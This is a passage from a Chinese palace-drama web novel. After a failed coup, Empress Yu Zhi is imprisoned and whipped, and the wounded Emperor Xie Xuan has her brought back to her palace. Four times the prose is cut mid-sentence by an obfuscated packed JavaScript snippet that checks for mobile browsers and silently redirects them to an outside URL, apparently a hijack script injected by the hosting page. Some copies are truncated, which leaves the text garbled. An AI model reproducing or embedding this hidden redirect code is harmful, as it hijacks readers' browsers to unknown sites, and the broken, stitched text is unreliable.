“谢玄,不用等了,你的皇后早已经将京城布防图暗传给了我,她比我还想要了你的命。若不是宫廷饮食验毒精细,你怕是早就没命了。”库狄舒得意,“这就是你挑选的枕边人,真是个不折不扣的毒妇。可惜,这毒妇还自以为聪明,想让我帮她夫君元临复朝,真是愚蠢至极!” 卑路斯早已经从车马中出来,只是他不像库狄舒一般嚣张,不是他生性谨慎,而是按理说东胡的死士们应该已经解决了东南西北的羽鸾卫,也该有人向他报信了。可现在音信全无,让他实在不敢相信他们的局已经成了。 “孙明诚,还不叫你的人拿下他!”库狄舒指使孙明诚。 孙明诚也正有此意,想着情况已经明了,不必再拖延,便抽刀率领兵部的人同羽鸾卫开战。 谢玄被护在羽鸾卫中间。 变故颇多,谢玄只能压下心中的疑虑,命向进放出蓝色烟花。 以烟花为号,蓝色烟花召集东南西北四处城防羽鸾卫,红色烟花召集守在宫中魏晖率领的羽鸾卫。至于最后一只橙色烟花……谢玄极力希望他没有用上它的机会。 “不对劲。”在乱战中,卑路斯语重心长地带着库狄舒慢慢往外退。 “怎么了?”库狄舒眼睛发光地盯着宛如困兽之斗的谢玄,兴奋地咽了咽口水。 “你看……”卑路斯指着不远处前来支援的人马。 “是我们的死士……”库狄舒刚高声,却发现对方穿着不像是胡人,反倒像是……中原人! “不好,是羽鸾卫!”卑路斯瞪大凸起的眼珠,惊慌道:“我们的死士行动怕是失败了。” “怎么会?我们可是有城防图……” “敢问公主,那城防图究竟从何而来?”卑路斯已经趁乱抢过一匹马拉上了库狄舒,“公主之前不肯透露,现在总可说了吧?!” 眼见着城防的羽鸾卫前来支援,库狄舒傻眼,全盘托出:“是他们的皇后通过糖饼图案传递给我的!” “公主!”卑路斯双眼发黑,“你怎能轻信奸诈的中原人!”他顾不得教训她,当即决定抛下孙明诚,独自跑出城,城外还有些东胡的士兵可以保护他们。 孙明诚何尝不知道出了问题,只是仗已经打了起来,由不得他停下。混乱中有极其凄厉的孩子哭声,只是没人有空去理会。 东南西北四处守卫终究有远近之分,只有最近的两路能赶来。不过两路已经足够。 阴沉的天空似是被这场闹剧逗得开怀,坠下豆大的雨滴,砸得尘土飞扬,血流成河。 “孙明诚,你大势已去,莫要再挣扎!”向进一剑射去,正中孙明诚眉心! 人群中的孩子哭声更厉,被雷声遮去。 “陛下!”向进顾不得自己的伤口,忙去看谢玄。 谢玄此时情况也不算好,身上几处皮外伤汩汩流出鲜血,整个人被冰冷的雨水打得浑身僵硬。他大概捋清楚了情况,明白是虞枝用假的城防图骗了库狄舒。 只是…… 他摇摇头,把那阵时不时上涌的眩晕压下去。 他明明没有喝纪芙送来的甜汤,怎还会中药?难道是之前不防着了道? 好在谢玄战场厮杀多年,意志不是一般的坚定,即使中药还能保持一定的清醒。 “回宫!”他咬牙,直觉告诉他不能再留在宫外。 向进即刻组织人马,也不管孙明诚的乱军向哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我到了城南不见你人影便知中了那女人的计!” “速速随我去支援陛下!”石留青顾不上其他,忙领着人马俱疲的魏晖一行人奔去救援谢玄。 这才有现在的场面。 虞家父子虽以元澈的名义联合了元临亲卫,但奈何向进率人誓死血拼,他们一行人难以接近谢玄,就算接近了谢玄也会不敌谢玄的功夫,反被其击杀。 机会众多,但偏偏无法拿下谢玄的性命。 直到石留青同魏晖奔来,虞家父子大势已去,被围困在中央。而向进看到奔来的二人,终于放心地从马上摔下去。 “向进!”谢玄精神不济,眼睁睁地看着向进与自己伸出的手臂擦过。 “陛下……”向进吐出大口大口的鲜血,他身上没一处完整的皮肤,宛如血人。 谢玄失力,跌下马去,“向进!”他想去拉起向进,却再度跌倒,四肢全然失去了力气。 “陛下,”向进被刀剑划开的唇角用力嚅嗫,“照顾好我的家人……”他放心地缓缓合上眼睛。 周围,许多谢玄熟悉的面孔同他一样,安静地像是睡去了一样。 都是追随他的羽鸾卫,有那么多人是在他十几岁时就开始追随他的兄弟、亲兵,陪着他血战敌人,抵御外辱。一同在塞外的戈壁上喝酒看星星,在孤独的时刻抱团取暖,在大漠红日升起的第一刻拉起对方的手,共饮冰山下一河之水。 这么多鲜活的生命……因为他的自负消亡了。 谢玄痛苦地侧身蜷缩,耳朵砸进了太多雨水,什么都听不清了。被泪水模糊的眼睛依稀看见石留青跪在他身边,看见魏晖爬到向进的尸体旁边。 魏晖和向进穿开裆裤的时候就认识了,他们一起吃了二十几年的苦,却在从龙成功后的今天阴阳两隔。 谢玄闭上眼睛,若是他不那么自信自己眼睛看到的、相信的,早点让石留青带人杀过来……不,他根本不应该出宫的,他何必非要冒这个险。 不对,是他不应该将令牌那么轻易地交出去。 可怜他那夜如此卑微地吐露出心声,交出命脉,却换来无尽的背叛。 谢玄头痛欲裂,口中涌出鲜血,青筋暴起,用力嘶吼:“虞枝……负我!” 虞枝,背叛了他。 22. 仇怨 当虞枝在太阳下山的那刻仍没有看到兄长所说的信号时,她知道计划失败了。 她比想象中的要冷静得多,甚至有一种解脱的快感。 很快,谢玄就会杀回宫来。他会发现她的背叛,发现她的虚情假意,他那样自负的一个人,一定会怒不可遏地想要杀了她吧。 虞枝扬起嘴角,可是一张脸死气沉沉,看得春桃心惊。她看虞枝穿戴整齐,在凤宁宫殿外站了一整天,正要劝虞枝先去休息,不想忽然听到一阵十分嘈杂的声音,被那戾气十足的语调吓得春桃失了言。 虞枝也听到了,她迈动麻木的双腿,蚂蚁撕咬般的痛意唤醒了她的神经,她听到胡泉哭喊着求饶的声音,紧接着大门被踹开。 浑身挂着黏腻鲜血的武将看不清眉眼,但是凶光毕露,如草原上饿了数天的猛虎盯上了弱小的羔羊。 这羔羊还曾将他玩弄于股掌之间。 “魏都指挥使,您这是做什么啊!这可是皇后娘娘的宫殿!”胡泉抱住魏晖的大腿,惊恐地看着他手中滴血的长剑。 这剑锋利无比,定能将人捅个对穿。 霎时间,所有宫女太监仿佛回到了血腥的宫变之夜,内心深处的恐惧被激发,惊叫着四散开。只有春桃颤抖着身体想挡在虞枝身前,却被虞枝轻轻推开。 她独自上前几步,让春桃看傻了眼。 “毒妇!”魏晖双目血红,不像人类,倒像是从地狱里爬出来的恶鬼,“我今天要手刃你替我兄弟报仇!”魏晖一脚揣在胡泉心窝上,把他踹了几米远。 没了束缚,他提剑冲来。 铁锈般的血腥味弥散,虞枝闻得想要作呕。她此时不知道父兄的死活,但她大概觉得计划失败,他们应是也没有了活着的希望。而她,再苟活着又有什么意思。 寒凉的冷光越靠越近,虞枝想起宫变那夜,她将脖子伸入白绫中的感觉。不只是解脱的快感,也有隐隐的对死亡的恐惧。尤其是长剑粗重,看起来能将她的胸口撕碎,她不禁颤抖,屏住呼吸。 虞枝从没觉得时间这样漫长过,从魏晖提剑冲来,到自己闭上眼睛。眼前闪过无数画面,最后又停留在城楼之夜,她脚下万家灯火生生不息,冷风吹拂,夜雨雷鸣,她好想将时间停留在那一刻。没有不得不做的阴谋,没有左右为难的愧疚,她只是她,只需要去感受风雨人间,而不用付出任何代价。 “对不起。”虞枝轻轻开口,声音轻到没人听见,也没人知道这声‘对不起’是说给谁的。 剑破长风,空气被撕拉一道裂痕,不用看就能感觉到死亡的阴影渐笼罩得密不透风。 虞枝咬紧后槽牙。 “住手!”忽然,有人拉住了魏晖嗜杀的剑。 “你干什么?”魏晖不可置信地瞪着拉住自己手臂的石留青,愤怒道:“害死我们兄弟的罪魁祸首就在眼前,你为何要阻止我报仇!”他左甩右甩,想要挣脱石留青的束缚,最终和他扭打在一起。 虞枝睁开眼,入目就看见两个血人互相压制挣扎。 从两人的状态可以看出宫外双方战斗的危险。 那她的父兄呢?或许已经成了他们的剑下亡魂,不过她已没有恨了。成王败寇,一切都是自己的选择。 “魏晖!你冷静点!”石留青抱住魏晖肌肉紧绷得跟只发狂豹子一般的身体,喊道:“我们已经因为这女人的毒计失去了一个兄弟,难道你现在还要因为这个女人再次同陛下生出隔阂吗?!”石留青激动得破了音,声音刺得魏晖耳膜阵痛,鸣响不止。 “你听着,这不值得!”趁着魏晖被镇住,石留青连忙夺下凶器。 然后他看向虞枝。 “你真是好计策。”石留青声音极冷,“只是天不佑你,汉人王朝的命运是属于我们的,至于你死去的夫君元临,天不想让他复国!”他何尝不想杀了虞枝,只是当他听到谢玄临昏迷过去前的泣血之言,他就知道谢玄没放下。谢玄的恨夹杂着太浓烈的爱,如果任由魏晖了结了虞枝,一定会和谢玄产生无法消灭的隔阂。 虞枝的下场,还得由谢玄来亲自书写。 “或许吧。”虞枝声音干哑极了。 凤宁宫所有人的脑袋都晕乎乎的,他们不明白为什么早晨还好好的,谢玄甚至把掌管皇宫守卫的令牌交给虞枝,晚上谢玄的亲卫就要提剑杀了虞枝,态度恶劣,而谢玄也不知所踪。 “你不想知道陛下现在如何吗?”他被虞枝的淡然刺痛,想起谢玄对虞枝信任和对自己的敲打,他心里火气骤升。 “若有国丧,将军岂还会留下我的性命?”虞枝淡淡地反问。 “呵,你倒是聪明。只是你不想知道你父亲哥哥如何吗?对了,还有你留守在宫里的母亲和儿子会被怎样对待。”石留青招呼来侍卫。 “死了?”尽管虞枝预料到了结局,但还是心下一痛,“成王败寇,时运不济。”当自己参与到谋反一遭,虞枝心中的怨恨忽然淡了很多。她不再像刚宫变时那般痛彻心扉,当事情真的发生在自己身上时,她反而淡然接受了。 “来人,把她押入天牢等待陛下发落!至于参与进政变的虞家诸人、元澈……通通给我羁押起来,等候问讯!”石留青一声令下,侍卫顺势而动。 虞枝被强迫着伏下身体,膝盖被猛地一击,跪倒在地上,骨头和石板相撞发出清脆声音。 “谢玄……”虞枝忽然开口,眼睛盯着一尘不染的地面,纠结片刻,最终还是不想在死前留下遗憾,开口道:“我和他的爱恨,从此一笔勾销。”她说得坚决,牙齿咬得生生作响。 “哼,你还痴心妄想陛下会同你这毒妇再有瓜葛吗?”魏晖捂着耳朵大叫。 石留青皱眉,没阻止魏晖接下来的谩骂。他私心里,并不想把这句话复述给谢玄听,怕他听了又生妄念,毕竟谢玄此时重伤未愈,人仍旧昏迷着。 太医院国手全部被拎了过来,和上回替虞枝诊脉之时一模一样。 看着躺在床上昏迷不醒的谢玄,院判心里叫苦。暗道帝后为何轮流躺床不起! “陛下如何?”魏晖简单清洗包扎了伤口,就跑到紫宸殿后的寝殿中。 院判正指挥着徒弟配药,见了魏晖忙放下手中的东西道:“陛下性命并无大碍。” “那为何仍昏迷不醒?”魏晖横眉怒目,颇为吓人。 院判颤抖着身体道:“只因陛下失血过多又兼具急火攻心才会昏迷至今,待臣施针祛退邪火后便好了。” “还不快去!”魏晖大手指着脸色苍白的谢玄,叫他快点行动。 院判顾不上擦擦脸上如水的冷汗,连滚带爬地拿针行脉。 魏晖脸色阴沉地走出寝殿,抓住负责关押虞枝的侍卫问道:“人可关押进天牢了?” “是,按照您的吩咐,关进了押死刑犯人的地下暗牢。她从被关进去开始没说过一句话,我们也不敢妄动,就等着您的指令呢。” “准备好刑具,本将军要亲自审问!” “是!” …… 潮湿黑暗的牢房只有一只劣质冒黑烟的蜡烛在燃烧,只有那一点光。 这座牢狱整个都被建造在地下,光是走进它的大门就要弯腰走下十几米的楼梯,然后进入到一段人都无法直腰行走的短道。 虞枝从来没有觉得日月光辉的重要性,直到被推入这座不见天日的牢房,弯腰走在尘土的腥味和鲜血的腥味混合的土道。她腰不得不弯折,压迫着她的五脏六腑上下位移,闷得快要窒息。 然后就来到这间还没有低等宫女住所宽敞的牢房,木质的、被老鼠啃食过的门一经关闭,虞枝就彻底陷入到了安静到极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她知道也许谢玄会是更好的皇帝,所以她动摇。但她是虞家的女儿,从小受元氏天恩庇护,理应效忠元氏皇族。更何况她的生命是父母给的,父母想要复国替元临报仇,她作为女儿只能顺从。 尽管虞枝心底也有疑惑,疑惑这样做到底是不是对的。 但是没有更多时间留给她思考,她不能迟疑,在关联着那么多人性命的生死关头,她似乎已经不是她了,而是计划上的一环,被推着前行。 “闭嘴!”魏晖被激怒,狞笑道:“看皇后娘娘的牙尖嘴利能不能撑过这暗牢的十二道刑罚!”魏晖抬手。 几个手拿铁箱的侍卫走了进来。 * 月中天,似弓悬。 谢玄躺在床上并不安稳,他眉头紧皱,身下的床褥换了一套又一套,不等一会就被他的汗水打湿。 院判施完最后一根针,惊喜道:“醒了!” 谢玄睁开眼,愣神片刻,接着血红的记忆潮水般涌来,他不顾一切地坐起身,目光瞥到刚步入殿内的魏晖身上。 一直守在这里的石留青也去看他,目光忽地在魏晖染血的剑上停留一瞬,心猛地一跳。 有这反应的不止石留青一人,谢玄咬牙问他:“虞枝呢?”谢玄刚施针过的大掌紧紧攥起,他顾不得身体的不适,呼吸急促地盯着魏晖。他的兄弟他再了解不过,从魏晖的眼睛里他看到一股不妙的冷意。 一个能让他心神俱裂的猜测在脑海中浮现。 魏晖握紧佩剑不答。 忽然,谢玄挣扎着起身,不等众人去搀扶就摇摇晃晃地大跨步到魏晖身前,地狱修罗一般捏住他的肩膀崩溃道: “你杀了她?!” 23. 暗牢 石留青也大惊,趔趄几步,冷汗浸透他的衣衫,他忙大叫道:“魏晖,说话!” “我没有!”魏晖看着谢玄和石留青双双惊惧的表情,不自在地后退一步,却不想继续被谢玄抓紧。 “她在哪?”谢玄身形还忍不住摇晃,可是他不肯退让,非要逼问个明白。 “陛下!”石留青跑过去扶住谢玄,刚一触碰到谢玄的里衣,手就被温热的液体濡湿。 谢玄动作太猛烈,撕扯开了刚止住血的伤口。 石留青忙开口解释:“臣将涉案众人全部押入牢中等待您的审问,自然——也包括皇后娘娘。”他挥手招呼太医上前来为谢玄重新包扎,却被谢玄制止。 谢玄目光深沉地盯着不肯与他对视的魏晖,一字一句问:“魏晖,回答朕。你是不是对她做了什么?”谢玄身体颤抖起来,也不知是因为复仇的畅快还是不忍的心痛,亦或是二者兼有。 “这剑上的血——”谢玄指着魏晖腰上佩戴的长剑,“是谁的?”他沉声发问,天威不容对方闪烁其词。 魏晖忽然拔出长剑双手奉上,而后双膝跪地:“臣有罪!”他猛地朝冰冷坚硬的青石地砖磕下去,瞬间磕破额头的血肉,“臣难解心头失友之恨,便命人将皇后关押入暗牢严刑审问!请陛下降罪!”他将长剑举过头顶。 当魏晖说出‘严刑’二字时,石留青下意识地去看谢玄。 只见谢玄高大的身躯猛然后退一步,吐出一大口鲜血。 “陛下!” “带朕去见她!”谢玄大怒,几乎想要抽出魏晖手中之剑,但目光触及魏晖浑身的伤痕,他心火上涌,诸多背叛滋味涌上心头,身子不受控制地后退一步,腥甜上翻,呕出一口热血。 石留青还想要劝,却被谢玄可怕的眼神吓退。 谢玄顾不得擦拭干净唇边的猩红,匆匆披了外衫叫人带路。 路过仍跪在原地的魏晖,他步履未停地开口道:“没有朕的命令,谁也不许再用私刑!” 他这话几乎就是对着魏晖一个人说的,其他人哪敢擅自主张。 石留青亦觉魏晖此举太傻,摇头看了一眼俯首于地的魏晖,长叹一口气,而后追上谢玄。 殿内骤然安静,魏晖盯着眼下青石地砖,隐约看见自己狰狞的眉目。方才他对一个弱女子上刑的时候,模样一定比现在更凶残可惧。 魏晖闭上眼,想要把脑中挥之不去的虞枝咬牙不屈的样子和向进死前的样子忘却,可是越努力,一切越清晰,诸多血色翻涌。 最终他瘫倒在地,昏迷过去。 * 魏晖让人把箱子放下时,虞枝就知道自己也许难熬过此劫。 沉重的箱子被放在地上,里面金属互相摩擦的声音尖锐刺耳。虞枝恨不得捂住自己的耳朵,但是不等她抬起手,两个身着坚硬铠甲的侍卫就拿起绳索将她绑在了行刑架上。 粗糙的麻绳勒得手腕血液不通,指尖惨白一片。 他们使本就逼仄的空间更加狭小。 “或许你此刻肯跪下向我死去的兄弟们诚心实意地磕几个头,我还能少对你用些刑罚。”魏晖拿起布满倒刺的鞭子,这一鞭下去,会带起一片血肉,人瞬间就会皮开肉绽。 他瞧了瞧虞枝光滑的皮/肉,知道她绝熬不过几下鞭打,正想着待虞枝受不住开始求饶时他该怎么羞辱她。 其实经过一段时间的冷静,他大概也能明白石留青的苦心,知道若是自己真把这女人杀了弄残了,谢玄不会饶了他。所以他没去拿箱子里诸如拔牙钳、膑刑刀一类的物件,也省去了扒光对方衣服这一道程序。 但是他心里的火无处发泄,他希望虞枝能识时务些,跪倒在他脚下向他卑躬屈膝地求饶,如此他鞭打几下将心中的怒火泄尽,也好向石留青交差。 “那你会为前朝被你们逼死的忠臣良将磕头吗?”虞枝执拗地抬起头,在黑暗中盯着烛火旁魏晖野兽一般的眼睛。 谢玄对她隐瞒了很多。可他不说,她就真的什么都不知道吗? 继任的王丞相带头不从被腰斩于市;封疆大吏入京勤王被屠戮殆尽;守卫宫门的一众元临亲卫以少敌多,死伤惨烈……更遑论那些被幽禁的元氏亲族。 可笑他们的政权本就建立在累累白骨之上,他们颠倒黑白、改朝换代就是民心所向,无人可指摘。可若是别人不服学着他们造反,就是十恶不赦大逆不道,非得磕头认罪才是。 成王败寇,虞枝可以接受自己因失败而遭受刑罚,但她没觉得做错了什么。立场不同,谢玄可以因野心而谋反,她亦可以因忠心而谋划。 “可笑你们刚用卑鄙的手段夺得了皇位,就忘记自己的手段有多不光彩了吗?比起我们,简直是有过之而无不及!”虞枝冷笑,“若是你们当初夺位失败,也要像你说的那样,对着敌人俯首磕头认罪吗?” “你……!”魏晖没想到此时此刻,虞枝不是哭喊着求饶,而是以一种十分冷静的姿态同他狡辩。 是的,在他眼里,虞枝不过是在同他狡辩。他没办法认真思考虞枝的话,如同飞鸟不会理解鱼儿不能离开河流。 “皇后娘娘,”魏晖从牙缝中挤出几个字,手中的鞭子被他挥得飒飒作响,“我倒要看你能嘴硬几时。你可不要妄想陛下会来救你,若是此时他站在这里,恐怕会把你剁碎扔去喂狗!” 虞枝猛然听到他提起谢玄,愣神片刻。 谢玄迟迟没有出现在她面前,这不符合他的性格。大概率是谢玄受了重伤还在昏迷着,甚至他可能要死了。 这个念头一出现在虞枝脑海,她就不可遏制地发抖。 魏晖见了,以为她终于是害怕了,得意笑出声。 而虞枝仅仅是作为欺骗者良心不安,她辜负了别人的真心,如同元临将她的一片心意弃之如敝屐。她知道那滋味如何痛苦,因此也自责。 可她不后悔。 甚至在此时此刻,等魏晖的鞭子落到自己身上后,她就会终于觉得自己不亏欠谁的了。 元氏、虞家、前朝、臣子……以至于谢玄,她都一一用计谋用勇气用血肉偿还过了。 她不能看着父兄孤立无援地筹谋复国计划,不能看着元澈可怜兮兮地握住歃血玉佩而无动于衷,更不能身为帝后看着王朝易主。 可如今,该做的能做的她全都试过了。 她的心终于安定下来,可以由自己做主了。 仿佛困扰了她许多年的绳子骤然松开,虞枝轻笑,浅浅的声音比鞭子抽动的声音还微弱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040490|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 下一刻,带着冷光的鞭子直直抽打到虞枝的肩上,血肉横飞。鲜血和碎肉被勾带在鞭子上,滴到魏晖身侧佩戴的剑鞘上。 比想象中的要痛得多。 一个人,任凭她的意志多么坚定,但只要她还清醒,那她就无法忽略现实中存在着的疼痛。深入骨髓,撕扯,鲜血淋漓。 虞枝双唇都在颤抖,手臂不自觉地用力,同麻绳摩擦愈厉,勒出深深的血痕。 温热的血顺着肩膀流淌下来,没入衣服,濡湿胸前的一片。 她一声都没吭。 只是在脑中反复问自己:值得吗? 可是她得不到答案,她已经厌倦到了极点,迫切地想要逃离。逃离皇宫,逃离虞家,逃离世俗,去到一个没人认识她的地方。在那里种花种草,看太阳东升西落,听风鸣蚯语,再没有枷锁一般的责任落在她身上。 魏晖一鞭子又一鞭子地抽打下去,本就不清明的理智在虞枝倔强的眼神中消磨,想杀了虞枝为兄弟报仇的愿望更加强烈。 但同时,他在心底也升起一股没由来的恐惧。对着虞枝冷清淡然的眼神,他甚至几度握不住鞭子。这同他预想的情况差别太大,他本以为强刑之下会折断虞枝的脊背,令她爬着跪着求他饶恕。 可是虞枝没有,哪怕她已皮开肉绽。 “你……你说!说一切都是你的错!”魏晖怒吼,可是手中的力道已经轻了,鞭子也落得歪歪扭扭,差点挥上虞枝的脸颊,让他略微清醒了些。 再定睛,面前已是血人一般的女人。 同记忆中向进惨烈的模样重合。 魏晖忽地大惊,热泪流下来,“都是你的错。”他一边呢喃,一边想要再用鞭子去抽虞枝,却发现使不上力。 他脑子里不可遏制地回想着虞枝在受刑前说过的话。他很清楚,从决定跟随谢玄造反的那一天起,他们就有可能死无全尸。但是想是一回事,真发生了又是另一回事,他迫切希望把责任都转移到别人身上,最好是具体的人,这样就会减轻他的愧疚。 可若是仔细想来,他魏晖就没有责任吗?轻易步入圈套,还非得是在找不到石留青时才反应过来中计,若是他脑子好使一点,早点支援,向进未必会死。 他自己……也有罪。 魏晖狠狠收了鞭子。 虞枝想要说些什么,但是身体上的痛让她失去了说话的能力。 “我们走。”魏晖再没心情对虞枝施加其他刑罚,命令侍卫把东西抬出去。仔细看,背影有落荒而逃的意味。 只是虞枝看不到了。 她被汗迷住了眼睛,身上痛得很。 她在想,若是谢玄在此,他会阻止魏晖,还是嫌魏晖下手太轻? 她嘲讽一笑,怕是后者。 虞枝陷入昏迷。 过了许久,有嘈杂的脚步声传来,吵醒了虞枝。此时她身上的冷汗已经凝结,留下道道印子。 她睁眼去看,可惜那蜡烛不知什么时候灭了,四周是一片漆黑,只有越来愈近的脚步声彰示着有人过来了,还不止一个人。 虞枝下意识觉得这脚步声有些耳熟。 紧接着,她听到熟悉的声音: “混账,谁下得这么重的手?!” 24. 养伤 谢玄话刚出口就已察觉到不妥。在他面前的不是他的皇后,而是差点要了他性命的反贼。他该厉声厉色去嘲讽她的失败和痴心妄想才是。 但是面对虞枝的惨状,他不能无动于衷。甚至心内抽痛得厉害,比自己摔马在地还要痛。 “是魏督指挥使!”侍卫慌张跪下去,不敢隐瞒。同时在心里庆幸他们只是负责拿箱子,而没有动手。他虽不是近臣侍卫,但谢玄进来目光紧紧盯着的是谁他却看得清楚,那份在意分明不光是恨。 “……”谢玄怒火哽在心头,迟迟无法发泄出来,“给朕把太医传到凤宁宫听候差遣。”谢玄冷声吩咐。 接着他推开牢门,大力的动作打破了牢中应有的死寂。几只目露精光的老鼠倏地被惊散,其中还有的在舔舐地上残留着的半干血迹。 虞枝终于听出来人是谁。 原来他还好好地活着。 虞枝没力气仔细打量,迷蒙的眼看不清谢玄身上的伤,只当他是在众多保护中幸运地全身而退。如此,她心中的负担又减轻一点。 “谢玄……?”她声音干哑撕沙,简直难以入耳。 她听到身前的动作声一顿,想谢玄许是被她的声音恶心到了。 虞枝自嘲,“你是来看我现在有多惨的吗?”鲜血干涸在她皮肤上,虞枝整个人被一种难闻的铁锈味包裹,仿佛永远也洗不净似的。“就如同当年你得知一心想攀龙附凤的我被罚跪在长信殿……咳咳,你心里该是何等畅快?” “畅快?”谢玄咬紧牙关。黑暗中他依稀辨认着虞枝单薄发抖的身体,目光一寸一寸地扫视过,确认了这身体的千疮百孔比他有过之而无不及。心里也说不出是什么感受,只觉得想要生出一股毁天灭地的念头,想抛弃所有理智,不顾后果地直接了结面前这个让他越来越优柔寡断的女人。 他想,他已经是王朝的帝王,他可以拥有这世间最好的一切,何必苦苦执着于一个心不在自己身上的女人。为此,他想要逼自己放手。 在从马上摔下的那一刻,他的恨意填满脑海。他很清楚他应该杀了虞枝,杀了所有参与谋反的人,用他们的头颅与鲜血祭奠死去的兄弟。 但是当他醒来时,看见魏晖长剑上的点点猩红,他又发狂生惧。 虞枝魔咒一般在他心中扎根,更经由求而不得的妄念作祟,在时间的催化下变得越来越疯狂。 “朕确实畅快。”谢玄抱起虞枝,鲜血也流淌到他身上,“只不过还不够。娘娘可要好好地活着,亲眼看着朕是如何报复的。” 言闭,谢玄不加犹豫地转身走出牢房,将虞枝带回凤宁宫。 凤宁宫的宫人各个噤若寒蝉,余光瞥到浑身伤痕的虞枝时更加害怕自己也跟着受牵连。 “贴身伺候她的人呢?”谢玄回首,问身后愁眉不展的胡伽。 “回陛下,皇后娘娘的贴身侍女春桃被魏都指挥使关进了大牢,而奴才的侄子胡泉在之前因阻挠魏都指挥使带剑进凤宁宫,被指挥使怒踹了一脚,吐了血,正养伤呢。”胡伽内心愁苦,“奴才这就安排人来伺候。” “把那个宫女放出来继续伺候她。”谢玄盯着床上正乖乖地由太医诊脉的虞枝。 她再度陷入昏迷,想不乖也不行。 若是能一直这样就好了。 谢玄心想。 一直听话,任他说什么做什么,她都不会反抗。 “如何?”谢玄问太医。 太医忙转身,换了个方向跪道:“本只是些皮/肉伤,但牢中环境恶劣,加之耽搁时间太长,以致皇后娘娘流血过多、伤口发炎,还需细细治疗调养才是。” “……”谢玄不知又想起什么,捂住自己的额头,忍耐道:“也不必费那么多心思,让她死不了就行。” 头痛症又发作了,比之前还要猛烈数倍。 谢玄刻意想忽略掉心头的不适,把一切都当成身体疼痛带来的负面影响,而非因面前这个背叛了他的女人。 谢玄不想再多待,迈步走了出去,临走他特意嘱咐了凤宁宫除了他以外,不许任何人随便进出。 “该抓的人都抓起来了?”谢玄手臂倚靠在轿辇的扶手上,慢慢揉搓着额头,希望能缓解些痛苦。 “回陛下,都被关在天牢里等候您的发落呢。” “呵,”谢玄突然迸发一声笑,“他们用心谋划这么久,朕若是不好好回礼,倒辜负了他们。对了,到时还要叫上皇后一同陪朕定罪问讯才是。” “是。”胡伽脑中闪过可能出现的血腥场面,脖子一缩,暗怕虞枝挺不过去。 “朕不想难为皇后的身子,就等到她好些了再做审问吧。在这之前,朕不许再有人越过朕擅自行动!”谢玄眯起双眼。 他在说谁不言而喻。 “是,奴才一定会吩咐下去,绝不会再发生今日之事。” 谢玄点点头,终于略微放松了下来。 “陛下。”胡伽见谢玄脸色稍缓,终于见缝插针道:“还有一人未被关押进天牢,只是石将军命奴才派人看管着,奴才斗胆,想问……” “你说的是?”谢玄一瞬间就知道胡伽说的是谁,但还是不想亲口提起。 胡伽立马回应,“是纪夫人。”旁人也就算了,但是这位可是谢玄的亲生母亲。虽说联合自己丈夫意欲加害谢玄是不争的事实,但常言道打断骨头连着筋,他们之间还留有多少母子情谊,胡伽不敢擅自揣测,更不敢苛待了纪芙去。 毕竟像魏晖那种一生起气来就无法无天的人还是少数。 谢玄沉默了些许,然后道:“她可有什么反应?” “夫人求着想要见陛下一面。” “哼,她怕只是想知道她的儿子是否还活着。”谢玄冷哼。 从纪芙听信孙明诚的提议开始,她就已经舍弃了他这个儿子。 从那时起,她的儿子只有孙恒。 胡伽一耳朵听出谢玄话中的‘儿子’指谁,当即道:“罪臣孙明诚之子孙恒在车架中受到不少惊吓,还被乱马踩伤了腿,眼下也安置在天牢里。” “朕知道了。”谢玄感到疲倦,“告诉她,朕不想见她。” “是。”胡伽应声。 * 凤宁宫 虞枝烧了一天一夜,醒来又被痛晕,昏过去又被恐怖残忍的梦境吓醒。几天几夜都在清醒与迷蒙之间来回翻转。 春桃守在床边喂药换洗,刚开始还为自己和虞枝的命运担忧,不时流眼泪。直到有天夜里,她半夜觉得身上凉津津的,起身去关窗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040491|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在漆黑的殿外,葱葱郁郁的树下,看见立着个高大的人影。 起初她自己睡迷糊了看走了眼,直到那人影动了动,把她吓了一跳。 人影似乎也觉得尴尬,静默片刻,拂去肩上的落花。 “去给她喂些水吧。”那人影忽然道,语气复杂,似是恼火与叹息。 方才,虞枝细若蚊蝇的声音没叫醒累极熟睡春桃。可那声‘渴’连同一些不成句子的语调轻轻扣击着他的心房。有一瞬间,他甚至想就这么原谅了她。可理智回笼,他知道自己不该如此轻易让虞枝逃过此劫。不然以后她说不定还会做出多么无法无天的事情。 谢玄知道,既然放不下这个女人,就应该着力去驯化她。拔去了爪牙,磨灭她的斗志,用手段和惩罚教会她乖顺与臣服。只是每当想及记忆中脊背不曾弯曲过一点的皇后娘娘,他忽又迟疑。 谢玄不想去看春桃惊讶的神色,兀自转身离开。 